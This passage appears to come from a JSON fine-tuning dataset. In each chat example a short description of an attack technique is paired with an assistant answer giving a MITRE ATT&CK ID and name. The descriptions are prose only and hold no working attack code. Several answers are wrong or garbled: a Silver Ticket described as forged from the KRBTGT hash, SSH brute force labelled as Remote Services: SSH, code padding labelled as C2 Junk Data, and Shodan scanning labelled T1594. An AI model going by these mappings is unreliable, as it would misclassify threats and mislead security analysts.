                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a concealed user account that bypasses standard security monitoring tools and is not displayed in the GUI user manager."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker attempts to establish persistence on a compromised system by creating a new user account, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest sensitive files from a mapped network drive and upload them to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the permissions of /etc/shadow on a compromised Linux host to allow read access for a normal user."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and macOS File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code detects firewall blocks and reverts to hidden channels, such as DNS queries or SMB named pipes, to continue data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware contacts SNMP agents with default community strings to download the entire MIB, revealing system parameters."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a password spraying tool to attempt logins across multiple user accounts with commonly used passwords, what tactic is being employed here?"
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script constructs domain names by concatenating the day of the week with a secret token."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the Microsoft Office macro to download a second-stage payload from a network share on a different machine."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Shodan queries to locate the victim's external-facing web services and map open ports."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor performs brute-force password attacks on SSH services to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script adds irrelevant comments and whitespace throughout its code to evade pattern matching."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the NAT's endpoint-independent mapping, the threat actor establishes a persistent tunnel to the victim's LAN."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling msiexec with a remote installation command, the threat actor proxies execution of their tool, leveraging the trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs the 'sudo dmidecode -t bios' command on a compromised server to enumerate firmware capabilities and release dates."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By appending a space to the end of a malicious PDF file name, the attacker made it appear as a regular document, bypassing user scrutiny."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using the Windows API CreateProcess with CREATE_SUSPENDED flag, the attacker injects malicious code into the process before it runs."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using NtQueueApcThread, the adversary injects payloads into a high‑privilege process via asynchronous procedure calls."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a malicious PowerShell script that overwrites the entire disk with zeros to destroy all data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor triggers a User Account Control (UAC) prompt and runs a malicious executable with admin rights once the user approves the prompt."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls the Container Runtime Interface (CRI) unsecured endpoint to list all secret objects and extract passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes the payload in base64 and stores it in an image file's metadata, later extracting and executing it."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script copies the ransomware executable onto any inserted USB flash drive, ensuring it will execute on the next system the drive is connected to."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool exploits the XPC messaging mechanism to exfiltrate data by relaying it through a trusted macOS service."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code corrupts the UEFI firmware, preventing the machine from completing POST."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a user’s Exchange mailbox, the attacker used MAPI commands to delete all email messages, removing any traces of their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages SetThreadContext to hijack a legitimate explorer.exe thread and execute payload."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set obtains the domain's KRBTGT secret and creates a golden ticket to bypass authentication controls and access sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a PowerShell command to clear the Windows network connection history and reset network adapter settings."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised service to run a series of Bash commands for lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes adding a systemd timer that calls a PowerShell script via Wine on a Linux system every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group behind the breach uses token impersonation techniques to assume the identity of a service account, allowing them to bypass authentication checks."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs LLMNR/NBT‑NS poisoning by responding to broadcast name resolution queries, obtaining credential hashes, and then uses SMB relay to authenticate to a target server."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies Azure Monitor diagnostic settings to turn off activity logs for a compromised subscription."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group establishes a compromised email account to send spear‑phishing messages to targeted organizations."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leveraged compromised IBM Cloud API keys to instantiate new virtual server instances, which were then used to execute ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts the KRBTGT account password hash from the domain controller and crafts a forged Kerberos service ticket (a Silver Ticket) to gain unauthorized access to a file server."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code via VDSO hijacking, modifying the shared virtual dynamic shared object to run arbitrary commands with the process's privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a script that enumerates all files in a compromised Azure Data Lake Storage account."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing the IdP's signing key, the intruder issues forged SAML tokens to hijack user sessions across multiple services."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised employee’s account is used to send a personalized phishing email with a malicious RTF document that exploits CVE‑2023‑XXXXX upon opening."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group creates a malicious payload that exploits a privilege escalation flaw in the operating system kernel."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors establish persistence by creating IAM roles in a cloud region that the organization has disabled monitoring for."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a systemd timer that invokes a reverse shell script after a delay, ensuring the payload runs after system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects JavaScript into a Confluence macro to harvest visible page content and send it to an external URL."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated actor uses a modified USB drive to establish a reverse shell, allowing remote command execution on the host after the device is inserted."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker posts a seemingly legitimate LinkedIn message to a senior manager, including a link to a fake corporate portal that requests user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During system startup, malicious code is embedded into the BIOS, allowing execution of the payload before the OS kernel loads."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers retrieve the configuration of an ElasticSearch cluster via its REST API, extracting index settings and security configurations."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document triggers the JavaScript function html2canvas to snapshot the browser window."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool creates a symlink in the /Applications folder that points to a malicious binary, added as a login item."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a private npm registry used by the organization, replacing legitimate packages with trojanized versions."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a crafted file to exploit a local privilege escalation vulnerability in the X11 server."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a fabricated authentication ticket that contains forged SIDHistory values to impersonate privileged users."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group modifies the least significant bits of a PNG file to hide a PowerShell script, which is later decoded on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts email data by authenticating to the victim’s IMAP server using stolen passwords and copying messages to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer is re‑signed with an invalid certificate chain, making the signature invalid yet the file is still executed as trusted."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deletes the Windows Event Log files to hide activity."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a Python script to add a new user to /etc/passwd with UID 0 for root access."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups clear recent network socket logs and reset proxy configuration histories after exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a popular open-source library used in the target's software build process, injecting a backdoor that was automatically included in the final product."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes a file encryption attack, locking files on a compromised system and demanding payment for the decryption key, often using unbreakable encryption algorithms."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies cached DNS entries in memory to redirect traffic to attacker-controlled domains."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder monitors public Reddit threads for references to internal system names and then compiles a list of target URLs."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool sends periodic beacon data encoded in base64 within the subject line of outbound email messages."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install and use remote desktop tools, such as VNC or TeamViewer, to control compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the operation, the attacker collects data on network segmentation and inter‑host routes to build a topology diagram of the victim network."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script reads the domain controllers' policy data via LDAP queries to the CN=Policies,DC=example,DC=com container."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs session fixation on an SSH connection, forcing the victim to reuse a session ID the attacker controls."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker cleans up persistence artifacts, such as launch agents and crontab entries, to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds a rogue certificate to the system's certificate store, allowing the attacker to forge valid TLS signatures for any domain."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker automates the download of public GitHub projects to extract embedded OAuth tokens."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a shim named \"AppFix\" that intercepts API calls of a trusted executable and injects malicious code, utilizing the T1546.011 technique."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor extracts the SYSVOL folder contents to read Group Policy templates and identify security configurations."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets the mode of /var/www/html to 777, granting full control to anyone on the system."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
